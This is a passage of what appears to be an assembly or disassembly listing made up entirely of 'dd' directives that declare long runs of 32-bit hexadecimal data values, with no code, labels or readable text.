		dd 0F5A57005h, 2810956Bh, 44DD14D8h, 0D6D004E4h, 94C8F6EAh
		dd 0CB5531C5h, 0F2BBA8B8h, 41CA08A2h, 0B480B4A1h, 6B4185C9h
		dd 0C87E2Ch, 0A7D40ADAh, 9F845BB1h, 54854C82h, 5606FBA1h
		dd 7FB19FB8h, 96049821h, 55C0407Ch, 18AA8DF8h, 40D89088h
		dd 6BF173A0h, 14600098h, 27887DB1h, 0D4A454FDh,	0E1DEE01h
		dd 1C6B8070h, 58C5FB43h, 0BBA2411Ch, 0BCE90C1Bh, 7F3004F2h
		dd 59436B08h, 481F1712h, 427C0Bh, 0F24CD37Bh, 1C6714F6h
		dd 9A85F049h, 1F4C07EEh, 48A169DAh, 0A88DA260h,	0D89678D1h
		dd 71480Bh, 0EBAAF333h,	5BFC02ACh, 0B73C03C3h, 70F5D8A0h
		dd 9C30CFD1h, 18C81176h, 0C0E82E39h, 1AC43CD4h,	1C63809Ah
		dd 88459F11h, 307CA7D0h, 70D1A8A0h, 28AD69B6h, 3CD80715h
		dd 0C72852F7h, 580CDB48h, 0F8F94586h, 11073513h, 20AB0A8Dh
		dd 5D5E647h, 0CCA9A440h, 29D1795Bh, 0E240B5CBh,	7CE1BF2Fh
		dd 63541008h, 3C83AEEh,	4D449D9Ch, 0C1911FB3h, 0B24193DAh
		dd 3C4A2C97h, 44BCB0D6h, 0B82401DBh, 0C4413CD7h, 3194679Ch
		dd 0E0A834B1h, 0D04EE085h, 0E90E6333h, 454E6A7h, 2001C42h
		dd 0C120D2C2h, 67390805h, 481DD9A3h, 8264BC2Bh,	7733CF6Ch
		dd 0A33D915Dh, 2C200C76h, 34913F80h, 7B7C24E9h,	8660815Ch
		dd 42A94C32h, 204073C6h, 7F363DF7h, 711FC318h, 5ECBDA0h
		dd 237A803h, 989ECF5Bh,	98F4F7A2h, 0F6C0B034h, 0B2EA0168h
		dd 7B2C69FDh, 9A81830Eh, 0E24820BAh, 0C020993Ch, 59CABC48h
		dd 631290ACh, 7A9C0972h, 5277A001h, 0F5DC30DFh,	10424024h
		dd 298788h, 493B84BDh, 0EB00D0FEh, 0D45D8519h, 12F7EEh
		dd 0B10F74BAh, 638942A4h, 75BC8400h, 0C8B6F86Bh, 690C007Dh
		dd 4E3BE24Bh, 0BF3E8725h, 430887E1h, 8140F9BCh,	5A382Dh
		dd 0DB91DFDh, 522088BEh, 0C7C4EC00h, 5C6F0E7Dh,	2F40C0FFh
		dd 54E89287h, 0B2437500h, 68E16CDh, 0A57300D4h,	90A15542h
		dd 5B0320ACh, 6FF9B5F3h, 0F5809032h, 2135003Bh,	0BAE89D40h
		dd 78B17D75h, 0F7041F52h, 5202F8AAh, 0EEF24F4h,	83D8405Dh
		dd 0D67C0092h, 63993C05h, 10005841h, 524EAF7Fh,	0EAC42Eh
		dd 0A148037Ah, 2559CD23h, 0E4EF2100h, 0ADB99ABCh, 8E2E0090h
		dd 0B773DF3Dh, 75005A71h, 5D35B4BEh, 3C19457h, 0B04B1718h
		dd 25FB3BC7h, 861FE598h, 90BF40C4h, 382001C7h, 1555974h
		dd 0C08D0C5Ch, 0D02E5603h, 530701B5h, 0CDE47146h, 0E53633F0h
		dd 9AB80013h, 14F7BCD6h, 38983187h, 0BA94F248h,	210028E8h
		dd 871D99CEh, 0BC4808h,	2F8E0190h, 79607429h, 0C0A15A00h
		dd 0F8B94EACh, 8C20082h, 0F5ED6E0Ch, 250056CCh,	0FA199A26h
		dd 0E0F3BD71h, 684057Ch, 80B0BF4Dh, 0FB86666Eh,	8859D000h
		dd 514F898h, 2389306Dh,	0E7402740h, 971E40h, 8E03CDF3h
		dd 0A4994D05h, 0FAE7D00h, 0B941C58Ah, 0C6C31FF4h, 5C7EC018h
		dd 0C9E8D7F5h, 0EB3F3Ah, 0AFD166F9h, 2C9803CFh,	0D58C6B05h
		dd 0C88100D4h, 998AFE54h, 875B7E1h, 2E8C8303h, 976B74D1h
		dd 0B044F2h, 0F1B81195h, 80C4B500h, 0F65C69CAh,	0FE4F003Bh
		dd 5F5A9AC9h, 0B600C059h, 31891EA0h, 0AFB4D1h, 0BB0B583Ch
		dd 0DB5675C5h, 99F88500h, 2271696Eh, 0D9E800C2h, 0C0E39224h
		dd 0AF1DBA0Eh, 748E1390h, 4156413Ch, 0C5E8765Bh, 0F8450043h
		dd 1514C78Bh, 0FF03B073h, 3F0EE501h, 60F9A0EFh,	0CDB701B9h
		dd 2B2F8155h, 0A646960Bh, 80B2AC08h, 87AD0A9h, 9CBC8B6Dh
		dd 0BF041B95h, 80D33EFAh, 5F2E6904h, 1282206h, 2746B06Bh
		dd 4AF66F1Bh, 6E3EA034h, 124F3922h, 0AEA22700h,	367B286Ch
		dd 0BF4E1671h, 0B8C06029h, 2FA1800Eh, 1F15DE88h, 47C3C42Bh
		dd 0D0F352BFh, 0AAA6534Eh, 427E1907h, 0A7137F3Dh, 0B8EC8449h
		dd 0C9AB6209h, 1E00247Ah, 0F7EDE58Fh, 4972A9Ah,	0DDF82399h
		dd 144B88Dh, 0A0426CFFh, 41802CB1h, 0F3026F5h, 0DE2FD04Fh
		dd 6460A0EAh, 1349A9Eh,	8B1C43F1h, 4C9FD352h, 0B381121Ch
		dd 0AE00586Dh, 1E3E0491h, 8700F6C7h, 6B800AB7h,	9619DA55h
		dd 0DD150050h, 27A054DFh, 78FB7F0Ch, 0C00C0837h, 0E0055B21h
		dd 7301DA2Bh, 3AF5A81Eh, 0E181FB23h, 0BAB84E1Fh, 34507C45h
		dd 94AD0972h, 0B8263F01h, 3E78CF98h, 3585F420h,	1F03F2E1h
		dd 621B548h, 2177FE0Dh,	0BBB90A00h, 1E52C257h, 0CEA5F1Ah
		dd 30214578h, 0E8BB5100h, 616D9E08h, 352E1582h,	922AC1Eh
		dd 63F6E617h, 0B0045C84h, 7B411EA4h, 92F7D89Fh,	0CCB427A0h
		dd 0B8350161h, 0C19DAA17h, 0EA5AD060h, 862C3A00h, 6C6222A8h
		dd 0AECF2E25h, 475207FAh, 0C3A43A6Bh, 9D99DFD2h, 880E180Fh
		dd 0E0003A38h, 0F048C68Eh, 3BF66235h, 430011EDh, 0EE594CD8h
		dd 0FD54FE06h, 0B1017B84h
		dd 566153Dh, 0A850FA23h, 0D7E696h, 0AC52772Dh, 0E06FF0D6h
		dd 0FE02B70Ah, 3980907Bh, 0E846C520h, 342200CAh, 0A8F37E62h
		dd 0FB70859Dh, 0E3102097h, 0C9C075h, 0C893FC1h,	0DC7455FEh
		dd 53564F03h, 8AFDD065h, 46D480E4h, 976C1E9Ch, 0D996B881h
		dd 0E27A033Bh, 7D47EE2h, 31F8A8FBh, 42426B44h, 0E0307090h
		dd 0A05339DFh, 583462A4h, 0E012085Ah, 5C056033h, 3C08E5C5h
		dd 4614A880h, 0BBBE020Eh, 314AC254h, 5635101Fh,	19880FBBh
		dd 561E315h, 8C8BA6F8h,	0C02F29D8h, 3B4A044Fh, 90E7DA51h
		dd 0E8BDB2B4h, 0BC3F8000h, 0A3E46506h, 1D40FD9h, 18693A53h
		dd 0B0628700h, 0BB0FEBDCh, 6456D12Ah, 8EDA326h,	8A96F001h
		dd 87A6E94Ch, 45FED704h, 66180D60h, 6051FE50h, 8BF4801Ch
		dd 19F1036h, 0A0CF409Ch, 0AEC8206Ah, 80801785h,	0A84F04D9h
		dd 811F2C49h, 0F9F66464h, 0F1202104h, 0DCC0CC98h, 0D5657400h
		dd 3B60CFD7h, 0EB10046Bh, 0A9462C19h, 5362005Ch, 0A2660AB8h
		dd 11388828h, 7BE6FC00h, 45D85E35h, 1750C0E1h, 49697FC1h
		dd 0A34CF217h, 567BB4D0h, 0A9DE00DAh, 827739A6h, 7EE83A3Eh
		dd 94621C3h, 0F0E2F8DFh, 4F8902D4h, 0FE556C7Dh,	1D41845Eh
		dd 69EC7451h, 0F2F5013Fh, 65398E0Dh, 0A2D0CFA5h, 0C95ADE90h
		dd 0C89614D3h, 1F7AC8h,	63ED50F0h, 185ADA95h, 12C5FB09h
		dd 23380426h, 0E2008CE9h, 9F756E2Ch, 9514D043h,	12A40DD5h
		dd 24085518h, 0BBB8C010h, 0BA46C252h, 37001322h, 0AEAABB70h
		dd 0D61773Ch, 2B648584h, 243250h, 0A50BFA7Fh, 3A3C28B3h
		dd 2C480295h, 64CACF27h, 9723C40h, 7C185048h, 26CB0813h
		dd 0EFCBCA4h, 0C660F901h, 87372460h, 3000984Ah,	0B99CDD71h
		dd 2CA5225h, 7C260ABCh,	5920FBAEh, 0B948862h, 0D7EB165h
		dd 0DF20CC52h, 9A2E0426h, 80678DBEh, 9CC40214h,	28912167h
		dd 84600C45h, 2456BBBCh, 70A89AC2h, 0BB005403h,	906BF4F6h
		dd 0EBB053h, 3CD08CF7h,	78729443h, 3604C49Ah, 75F5E6F9h
		dd 0BCC7E8FDh, 62B9D0CDh, 7900A9D3h, 42FF02DDh,	3587B8CAh
		dd 429F703h, 0D44D9E54h, 7C204090h, 4252325Ah, 0AA25EF0Eh
		dd 0B706A060h, 0B51E4A8h, 9EB47BC9h, 6B3CD058h,	0C0262A2Ch
		dd 544D7F78h, 0DFCC8148h, 31FAA05Fh, 0D45E1011h, 71BF00DFh
		dd 1C95950h, 0C20993B3h, 0F899C6A0h, 0EBBB028Ch, 91956CBEh
		dd 520584DCh, 98407AFDh, 6E7E8281h, 747C0083h, 9CBADAB8h
		dd 63736FEBh, 9B0640E0h, 0BCE05BD4h, 2CEE21B8h,	0AE4148A4h
		dd 3422F308h, 4C14C43Ch, 8610B8A2h, 85D00B71h, 7A7C20D5h
		dd 0A980F264h, 74C2DEC4h, 91AA6060h, 36846888h,	50C904D3h
		dd 0C2E05654h, 18B19518h, 128667D1h, 8F6F2C4h, 0BAC00218h
		dd 46C250BBh, 314226Ah,	0E1BB5229h, 0E6A94109h,	129032CDh
		dd 0ECE42555h, 9E400965h, 0AC858123h, 30C02445h, 0EAD8B4A4h
		dd 6E4A7C00h, 316AE60Ah, 8FF300F9h, 69C38958h, 0A89A0D96h
		dd 44DC1527h, 0CF701770h, 5D3C6266h, 22270469h,	2CD1804h
		dd 983AC1DFh, 2C080CE4h, 7B211A48h, 53D8D009h, 10102C62h
		dd 0F5430939h, 547226CAh, 0AB6B0600h, 6171DFB5h, 0DA1A0038h
		dd 37011225h, 0E0A4AA7Ch, 0B8A9540Bh, 279890A1h, 16F4A8E4h
		dd 0D27A030Dh, 21296B30h, 0F86640B9h, 0AE9FA34Fh, 3709A0C4h
		dd 9857A1ABh, 8E7B3AD0h, 856E097h, 50C340CCh, 494589B8h
		dd 3D88CE18h, 0E032FE28h, 7DC61462h, 0A53A98CCh, 0FD35D781h
		dd 24CEABFFh, 2967A224h, 0A0C0F381h, 763A6Ch, 41572C0Fh
		dd 0F45CD39Ch, 0CCEA1D00h, 53042983h, 7FA824FFh, 0C0CE3BF1h
		dd 0FE1827FCh, 0C411F526h, 21BE9F82h, 744C6613h, 946846Ah
		dd 5BBBBD02h, 1231B2C2h, 0BB552C10h, 9FA2F307h,	23C3FB72h
		dd 2AE900C7h, 0A609AE49h, 5428F332h, 0BC059817h, 79CE405Dh
		dd 0C52DD0ACh, 5C2DD0C4h, 70C6442h, 74907859h, 0A87A09D3h
		dd 525AB000h, 8BA7CCD7h, 0E6F49825h, 7FC4880Ah,	27E9741Dh
		dd 8A26A280h, 1596E1Ch,	0A5603479h, 60E5489Ah, 0D31DD000h
		dd 0D1304E18h, 0F0D543C0h, 0F2A705C9h, 916ECB55h, 0E00AB9E0h
		dd 0B4B2A9CAh, 4D95A809h, 91C81721h, 96F18046h,	10E948BEh
		dd 2CD7837Bh, 6F61CC1Bh, 8BC4F92Dh, 54EE98h, 0F0845F56h
		dd 6AE9A82Ah, 0A149CE7Dh, 84D58A10h, 2124482Ch,	2A43F404h
		dd 0B09394F8h, 0AC204940h, 0EEA0A141h, 38715820h, 0D048821Bh
		dd 6185E280h, 9F16C2DCh, 0CF094B1h, 867B18F8h, 0D048A983h
		dd 0DE78CF4Ch, 0DC68C04h, 9581A204h, 0C76400B4h, 7C025DE8h
		dd 0C02DB100h, 0ED7F77A0h, 2F2812F1h, 8864CBA5h, 86B9C0C9h
		dd 0AC0BCBDFh, 59E9E5E0h, 8B043A84h, 0A335026Eh, 3047A254h
		dd 0AD4E7BD2h, 8937B492h, 91D097F0h, 0E5278045h, 9F2D7238h
		dd 6CA8800Eh, 58CB4212h, 47C01188h, 131707Dh, 0E5C5B6C4h
		dd 0F4ABE68Ah, 695CF5BCh, 61C60078h, 0CE9D0CA2h, 0E8164865h
		dd 868B92Ch, 57662FBEh,	6491BD59h, 0C4D7EC08h, 51C2D505h
		dd 0C0B86C47h, 0D65DE680h, 0F000FDF1h, 76D84171h, 9639FE62h
		dd 415170Ch, 80F20DFCh,	0A4309BE0h, 5838A231h, 27F1486Bh
		dd 15C05828h, 0EA9D1DFh, 79223A43h, 0DF104100h,	2B55D078h
		dd 0ED6C2668h, 19050C8Ch, 7927C4D0h, 5AD4E2B4h,	0A87F52C8h
		dd 0A83310F2h, 53331AAh, 85C273F6h, 48D4D0DBh, 64491E94h
		dd 80F84864h, 9C26AD91h, 660B2D88h, 24005864h, 0F6E3B4F7h
		dd 37F2DBh, 2D149001h, 0B6CA02D8h, 0A001C074h, 0B4459271h
		dd 5882761Eh, 25F24CCBh, 0DF178CB0h, 3E56C5B8h,	113228Ch
		dd 0A5DF025Bh, 303D84DBh, 7B00F9A6h, 0E31437EAh, 0C1F385CDh
		dd 429120C1h, 60FB0204h, 587C4C5Ch, 18897CAEh, 3906480h
		dd 6E2ED350h, 0A516F042h, 0C21058A2h, 0E8D45804h, 0BB008C10h
		dd 0CCE148D1h, 969B7C11h, 0AC7A8204h, 50710E0Ah, 6EE93B00h
		dd 745D625Ch, 0DAB21292h, 16C4C20Dh, 25BECB01h,	38CC406Fh
		dd 0CA5CEEE7h, 36D04900h, 0DB5864F9h, 9A8C13A5h, 0A1CC00A3h
		dd 15B8785Dh, 0CBD4803h, 804541AEh, 3CECC71Ch, 0E8ABDB4Fh
		dd 0FB0F0598h, 109081B9h, 48C2003Ch, 7E08AAC4h,	46DCA87Ch
		dd 0DFDE0256h, 312FA051h, 65C100Dh, 0C7CF00E0h,	0A0F06028h
		dd 7EE14DCEh, 0C891B40Fh, 91E61F15h, 460A0B08h,	0FD85898h
		dd 0E995C258h, 9CB9A8D8h, 8CC0DA5Ah, 1680F40Eh,	0A0A99EA0h
		dd 0F200A3BCh, 7D6CF9E2h, 0F2E31719h, 34D248B9h, 51004B23h
		dd 0AEA9DDDAh, 16448639h, 0DF0C0A45h, 1C83DD2h,	0F448BC91h
		dd 1AB3FB6Bh, 2E48840h,	85CE00E3h, 7D303E0Ah, 5848DA2Fh
		dd 700FF296h, 0E045208Bh, 81D5A8F4h, 62501628h,	1A4890CAh
		dd 0AB007BDEh, 3B5D9C73h, 1DBFD368h, 82AD8AA7h,	0A4E994B2h
		dd 6BB0CC82h, 0C89DAB01h, 0A2281076h, 7A06005Ch, 80AE394Fh
		dd 0DB00DDF2h, 8615E62Fh, 17A4AF0Ah, 533FD06h, 4FB09184h
		dd 0C4807DB0h, 2C3A0CF6h, 0C53428EFh, 0C4AC1840h, 26BF167Ch
		dd 3C940B9Ah, 0B8545430h, 6945BC10h, 0B84C39E0h, 0B9D10100h
		dd 0E5D4F47Ch, 0D866EFB3h, 23802F4Bh, 919D091Fh, 0A7D43300h
		dd 205F428h, 1031FDD0h,	45CC0B8h, 29F66A80h, 0CB778E8h
		dd 8C0F7018h, 4DBB5305h, 54CE42C2h, 5A6B2A10h, 0F4E45CC3h
		dd 0DCD55500h, 60CB14E7h, 52D0A4D1h, 58294882h,	90A839C8h
		dd 8039CF9Ch, 0BD34B9B6h, 9F277C19h, 2808BB8h, 1108F618h
		dd 654902FDh, 6015E48Ch
		dd 1279B635h, 534DE662h, 0C8948B88h, 55A3CF16h,	7EDB6165h
		dd 0C8EA9805h, 0E816E872h, 0C5395408h, 4544C14Dh, 10002621h
		dd 3201F616h, 3B69B825h, 7319C4D7h, 0B9FCB101h,	0A1BE9AC5h
		dd 0A0E8166Fh, 49E662Ch, 14467Ch, 0F49BC5E1h, 6A7D558h
		dd 0DF66298h, 0A20860FAh, 206BDC25h, 11CD20D0h,	0F60C34ECh
		dd 0D1EC9F7Bh, 797091A5h, 6C18D7h, 30BF052Ah, 1460785Fh
		dd 50C0FEE1h, 0C03AABCEh, 3C4BCB1Bh, 0C478C57Fh, 0E642610Bh
		dd 0C03A9845h, 0D302CC23h, 5942A9FAh, 0F1760044h, 5D6D049Ah
		dd 0CA0CAF6h, 0B500DB88h, 38B4870Eh, 0B94725B8h, 805191D8h
		dd 9D18DFD1h, 12458C07h, 0E039DCh, 10344CF3h, 0EEEE159h
		dd 0E6202CB8h, 4842C2Ch, 3D0C43C8h, 0B880B4E4h,	585BD8B8h
		dd 2C76B400h, 806AD87Eh, 0E954F608h, 22EBA8E0h,	0D0274BC8h
		dd 47A05820h, 0D5AD26C8h, 1E41FAAh, 3294CCD7h, 0BC087AA2h
		dd 0BE181D2Ah, 0CF9C00CAh, 0A33B72D1h, 247B2B13h, 30D6D4C9h
		dd 0A14DFD3h, 887C379Dh, 3B35800Fh, 0EA848E0h, 0D5842403h
		dd 0C452C1Ch, 80FDFFE9h, 40FE16A9h, 0A3E8CC0Eh,	27E5A05Eh
		dd 76E66D3Bh, 0EEAB0173h, 0DFD5EB4Fh, 410BCFC9h, 0F03A9962h
		dd 26A0FCB0h, 1228B7F9h, 59B8413Ch, 2AC1F2B2h, 0E7C6B8C3h
		dd 6995D051h, 3A06483Ch, 80A9F5EBh, 46256B79h, 0E04C70B8h
		dd 0F6C4B41Ah, 22D6A400h, 0C89713DDh, 0C25E3F90h, 6C0BE12Fh
		dd 0D28030F1h, 74101DCh, 0B480160Fh, 0A5348CCAh, 12E4BCA7h
		dd 0DC16CF60h, 530B4CE8h, 8643D354h, 0B600F8Bh,	0F5BD9642h
		dd 4E5F0400h, 57E1A77Ch, 0E05882ACh, 494BACCCh,	142C9C6Eh
		dd 7D8C0074h, 8A63AB3Fh, 1B72EA00h, 0A3A66DDEh,	57A52C75h
		dd 0D1B4C080h, 590901B3h, 0C4616C44h, 96D8055Ch, 847D3465h
		dd 3D34C15Ch, 0DB480115h, 8CFAD440h, 4805601Eh,	0E75DF56Ch
		dd 641EE0D2h, 0B85101E3h, 184145BDh, 493E88CAh,	43B83Bh
		dd 744A47ACh, 5C3BABE6h, 0DC005CFFh, 0A7CA91CCh, 60953C49h
		dd 74F6DE18h, 9CD89041h, 526A0E94h, 7A5A94C3h, 2BD19016h
		dd 2F275C88h, 0E4C0B873h, 2380C38Dh, 2C9ABDFEh,	526704C0h
		dd 4F02B70Bh, 3D0FAA2h,	0B683BE13h, 1AE024E6h, 88046364h
		dd 6718B95Ah, 51620490h, 0A2F24BA7h, 782B0EB0h,	20144F02h
		dd 96981CA5h, 0F42658FAh, 9764C893h, 8913C901h,	0F0E5F4E4h
		dd 23188862h, 0D22E99D0h, 1E676D00h, 0E230ACFAh, 24FE03A5h
		dd 0A68D59DCh, 0BCD8C3A0h, 0C6670A05h, 0C096FCE9h, 0A5C53448h
		dd 0E020AB11h, 7B214E52h, 0CB584AB5h, 0C320C838h, 58F0CC3Bh
		dd 48015052h, 0F6425616h, 590018C5h, 0C30581B0h, 0D5CEA05Dh
		dd 4A6BA8A0h, 0A3504025h, 4CACD257h, 71803213h,	0D00B48D0h
		dd 98695D85h, 3CA02725h, 0D3F5682h, 0FA1D9000h,	512ACDBBh
		dd 9CEF0C7Bh, 21F83910h, 9CC684Ch, 8BB5C3B8h, 0F248484Ch
		dd 285E2494h, 0D9958B54h, 0FAE9D4A0h, 0E12F8583h, 7A609818h
		dd 2CDE258Ch, 1659A468h, 0D2EB86h, 70F47E72h, 79FC1783h
		dd 4E7C22F9h, 10DA5430h, 0E276A9CCh, 36B0E044h,	0FA7D1DAEh
		dd 42518259h, 44C35CB4h, 0C8502A48h, 0E4976950h, 23801211h
		dd 86E6A815h, 0B231561Fh, 0F8768B0Bh, 704CBB6Ch, 2624FDBDh
		dd 8240A4C3h, 0C6BA53h,	0EA5B3D73h, 95A7EFA2h, 99A45250h
		dd 9C120443h, 283892F2h, 11DF0A30h, 8806A9D2h, 0D42802Fh
		dd 0B60A43DFh, 11A682Dh, 0E912C0A4h, 43FDEC70h,	0FB0421FCh
		dd 3A8860B4h, 135F0B53h, 6F005634h, 9491AA1Fh, 25FC1752h
		dd 95C47069h, 0FF904844h, 0F45F2109h, 95D6ECh, 79A971B1h
		dd 489566E8h, 861FB970h, 81EF420h, 0F1585C1h, 6E9C7202h
		dd 78D0817Dh, 878F25Bh,	18C11E8h, 5C785231h, 7C89E309h
		dd 7C23C0CCh, 69F4ACh, 48436FAEh, 2544D089h, 0B9A60303h
		dd 217DA1DDh, 53491288h, 3E20501Ch, 22B50300h, 0E68DA7D5h
		dd 41360F19h, 2F77264h,	55966AB8h, 7A98805Dh, 0FB81CCF8h
		dd 1022E0h, 8DC8B2BDh, 41C20515h, 902FFE4Fh, 3B000E23h
		dd 17227429h, 0FEF500B0h, 0A8E01C5Ch, 480070B3h, 0C07C622Ch
		dd 616F6Bh, 0F7525DCEh,	0F6239B43h, 1996770Ah, 1D3B50F5h
		dd 0D8A8B186h, 1AB87007h, 21CC3DAEh, 2770438h, 0E8752C46h
		dd 9F850288h, 5E0BB0B1h, 0F60E42C0h, 0D39C8209h, 415B1926h
		dd 637145ABh, 533C809Ch, 0A863DEB8h, 24438EF3h,	9EC40D0h
		dd 70C7027Eh, 0AC604564h, 0A8B0D8FBh, 0B015AE20h, 190920A8h
		dd 36209CB0h, 2C6A0914h, 4C9F287Eh, 6F801191h, 0C068A750h
		dd 9D9AA00Eh, 91620C95h, 10383DB3h, 0D809F609h,	21B9EC07h
		dd 0F4A225ACh, 0A4B1841Eh, 85481B0Fh, 0C67BCC0h, 89C74367h
		dd 0DDF7EC31h, 4423F831h, 88FDB210h, 0DF18C04Ah, 5621A9E0h
		dd 0B606039h, 28F816DFh, 0D663ED09h, 0F1EC07C1h, 44E4E4ABh
		dd 0A724CC66h, 492528DFh, 0C684934h, 18C14B8h, 68C951D7h
		dd 780195D0h, 0F8B909FCh, 0C0B8CD6Ah, 47525FC0h, 465CB096h
		dd 4924070Bh, 7EB0F8F3h, 2923D686h, 290A296h, 6B618219h
		dd 1D51F60h, 8DB6D00h, 74D1EB5Ah, 4D11120Ah, 408B849h
		dd 5F2F7087h, 11BC94E8h, 4A97008Ch, 0F2A1C9A8h,	0EE4BC59Ch
		dd 0F80020E2h, 2637A3D9h, 10047442h, 4EFECD9Ah,	3D756881h
		dd 6C801500h, 0E2EC2B28h, 74E61F8h, 8944897h, 848A309h
		dd 0B7000923h, 0AD6B225Ah, 35B979h, 48DC9F01h, 0D4A7D8DBh
		dd 96625705h, 24040491h, 3A09054Ah, 74413076h, 5FF480A6h
		dd 0EB4C00C3h, 28C1B22Ah, 0E7001A73h, 0D050783Ch, 0B42B97ADh
		dd 7A288FCh, 55DDC204h,	0F11320ACh, 0D39402F7h,	3060725Bh
		dd 11956AE0h, 7F10FB18h, 0A71371CAh, 78A24AB2h,	0ADE2F100h
		dd 921FC460h, 0C3C52C02h, 0E053E852h, 8914BA40h, 89C3CB6h
		dd 3F06E75h, 703B17ABh,	0DCE0B5B2h, 0A9D31461h,	0FDCE5C30h
		dd 7E362898h, 0DFC91884h, 76665856h, 2CA4F88h, 79A80825h
		dd 0C85C1D04h, 2110D88h, 3FE091AEh, 65EBDC7Ch, 60146404h
		dd 997963h, 0B2F2396Eh,	1A057FC3h, 1B0D9609h, 445C6771h
		dd 2A0067CBh, 9948AB62h, 60AC7B20h, 240B72Eh, 286529E1h
		dd 14E0CC36h, 21844284h, 9C0E1D8Dh, 0E7149034h,	0FE11A4D4h
		dd 3A2C3C80h, 0C83B5F3Dh, 42010C23h, 81FE185Bh,	0F802D838h
		dd 0C5D2BFC6h, 689944B0h, 2C95CF88h, 420C2FB1h,	48A4208Eh
		dd 308B3415h, 1C00D88h,	571AE526h, 7022407Bh, 70BE85FCh
		dd 76944885h, 526D588Ch, 0E1C44C17h, 0FCCC166Ah, 0C4961420h
		dd 99E1BC0Ch, 0D7CC106Dh, 85B4B98h, 7D64110Ch, 0C9792C45h
		dd 0B87AC238h, 0B72BCE00h, 9335DE20h, 0FDC403DCh, 7B1F8A83h
		dd 78DFFC8h, 61EEA8C4h,	88F12432h, 82F8D03Eh, 34276543h
		dd 1411589Fh, 32ADE480h, 0E5000623h, 7AC57C36h,	4E5DFDD0h
		dd 0D588A516h, 0F4F00777h, 4EC5F5DFh, 0A558E0ADh, 0CF26CEE4h
		dd 21D614DEh, 121078E5h, 43763D88h, 0EFC2117Ah,	0F04DFF2Dh
		dd 944EC9h, 7C26570Fh, 0FB9FE6E7h, 40368C3Dh, 279DA3h
		dd 5B87809Bh, 0B13F3B47h, 9251B5Fh, 0B923A849h,	0DDC900A7h
		dd 6A6746D4h, 8E710177h, 11FCFFF8h, 572E4A00h, 0CEB3DED0h
		dd 0CC180261h, 7B375175h, 0A90B0445h, 80B0BD78h, 4A790B88h
		dd 5D1C0CB6h, 6C11AECBh, 313F1903h, 78EE2A29h, 69F84A54h
		dd 497078DDh, 0F995C255h, 0F3127428h, 39800457h, 0E6F20113h
		dd 0F9140CF5h, 7DB890h
		dd 9F3F220Dh, 751774EEh, 0B4B3E102h, 7E5D2EB6h,	12467454h
		dd 53792E00h, 0A86B025Ch, 61CE4125h, 742055ACh,	481A40D5h
		dd 0A409C75h, 0F8207DCAh, 0D06920C6h, 487A2C2Dh, 3BBA9F18h
		dd 60866C4Ah, 199ACFC0h, 72E9F51Dh, 37FCAC47h, 3DC6A0E0h
		dd 0BF4BA13h, 0A59E61FFh, 0E41C30C1h, 0C8BC757Ch, 144676h
		dd 34CAABD3h, 7AC9B6h, 72756927h, 62B441A1h, 0C00F749Eh
		dd 0D545A0DDh, 8120FA7h, 1411DE42h, 51625900h, 0E6FD48h
		dd 4A4D3BB3h, 0F38323C0h, 2B83802h, 2B2ACFEBh, 0B71CD064h
		dd 0D9404CDFh, 43917FE0h, 7CEE2694h, 0C6858C10h, 614FC429h
		dd 2D953488h, 6068E745h, 0F10FD13Fh, 83A27F1Dh,	1798264h
		dd 8481D540h, 68A18969h, 0A458FCh, 487B3C61h, 0D303468Ch
		dd 0D89CC828h, 5A02317Dh, 0C4E62D79h, 7DA52005h, 670127EFh
		dd 0D8788018h, 9D05DFAh, 6CD20772h, 0A52EEE64h,	39B0A426h
		dd 4B4C000h, 0F1D7465Eh, 0A6EEB0h, 680A7417h, 0D57DC621h
		dd 0E412DC00h, 28026ED8h, 5C8409C0h, 18C04F01h,	6B15ABB1h
		dd 108CD350h, 0CE042FC2h, 0C2A83685h, 2CD1486Ch, 0F1D26C09h
		dd 18D87954h, 802D01C0h, 0CFCB29FAh, 0B4983E98h, 0C7C920E6h
		dd 3C7C649Dh, 779EDC51h, 26A380C3h, 0B47EA793h,	0DDCEFCEFh
		dd 45D06554h, 6BCFEE04h, 0E8BD8016h, 53013BACh,	0AD9D828Fh
		dd 0A8730221h, 2530CCA2h, 31F303FBh, 3BA84392h,	0D3CD0838h
		dd 0E8DA18A4h, 3FE97F1h, 9119BFAAh, 2FD809EFh, 3E022B32h
		dd 0F699F94Dh, 168040BAh, 0A8D117D0h, 0C8AC8B1Ah, 8C3CC012h
		dd 46F2E3B4h, 88C8704Bh, 0B5F70163h, 44CBF923h,	4F47ECB4h
		dd 0C10B4178h, 5B57316Fh, 91BB8050h, 0E7D04352h, 0C92CD7E6h
		dd 0F900A46Eh, 0F66482A7h, 0F4903F5Ah, 23482F4Eh, 758A0214h
		dd 30406616h, 389C6229h, 9D10BB40h, 987959C6h, 0D87DB800h
		dd 3348E65Ch, 62277C9Ah, 56501AF6h, 79465604h, 0BC9C9600h
		dd 5E4F2DCDh, 0EDCEA013h, 490874E9h, 0F3126724h, 42A2D440h
		dd 9F8A897h, 1D01F661h,	91A75080h, 9601F55Ch, 48BB3925h
		dd 582DA1DBh, 0A4C61500h, 0D00E227Fh, 3471D804h, 27807C55h
		dd 4BB85462h, 601CC00Ah, 0D4980285h, 71699922h,	9C4113B3h
		dd 0A445235h, 13C88234h, 0DF3C2039h, 9D6BBE99h,	9B0082B9h
		dd 9677001Eh, 2C9406CDh, 0E463EE89h, 27944484h,	534F9902h
		dd 0A06ECE64h, 0CDEC2CE8h, 1A207128h, 3818F691h, 0B11A9480h
		dd 0C9A716Ah, 2025D125h, 6DF38A50h, 0F5C9EBFAh,	7A757D0h
		dd 0D3B2EF70h, 4053368Ch, 888C9795h, 7661F5CBh,	0BC30ACECh
		dd 0B0EB75D3h, 0E6401808h, 8D1CF93Dh, 0B02E475Ah, 3D070F23h
		dd 7032DE15h, 52AE4060h, 10909FE6h, 5800E2F4h, 41D526D1h
		dd 387D36CAh, 0DE0217C2h, 0A57B28E1h, 0CAE48C65h, 0ABBA6160h
		dd 0F3523903h, 4CE5F63Fh, 9F3CC0C9h, 236EF51Eh,	0F908D4A6h
		dd 2C642D11h, 2B47A15h,	0DB5012ECh, 87152008h, 927ED7CCh
		dd 4F4285C1h, 140E0490h, 0E695D8B9h, 90750EE0h,	3E8B873Fh
		dd 654C68B9h, 3CC0821Ch, 0C0BC2F12h, 2E474676h,	0FD05CC2Ch
		dd 309178E2h, 0B5007F76h, 3DEDFF02h, 2D22ACECh,	1C40138Eh
		dd 0A168D85h, 0E06D07Ch, 1381789Dh, 0A098F47Bh,	5CB6A830h
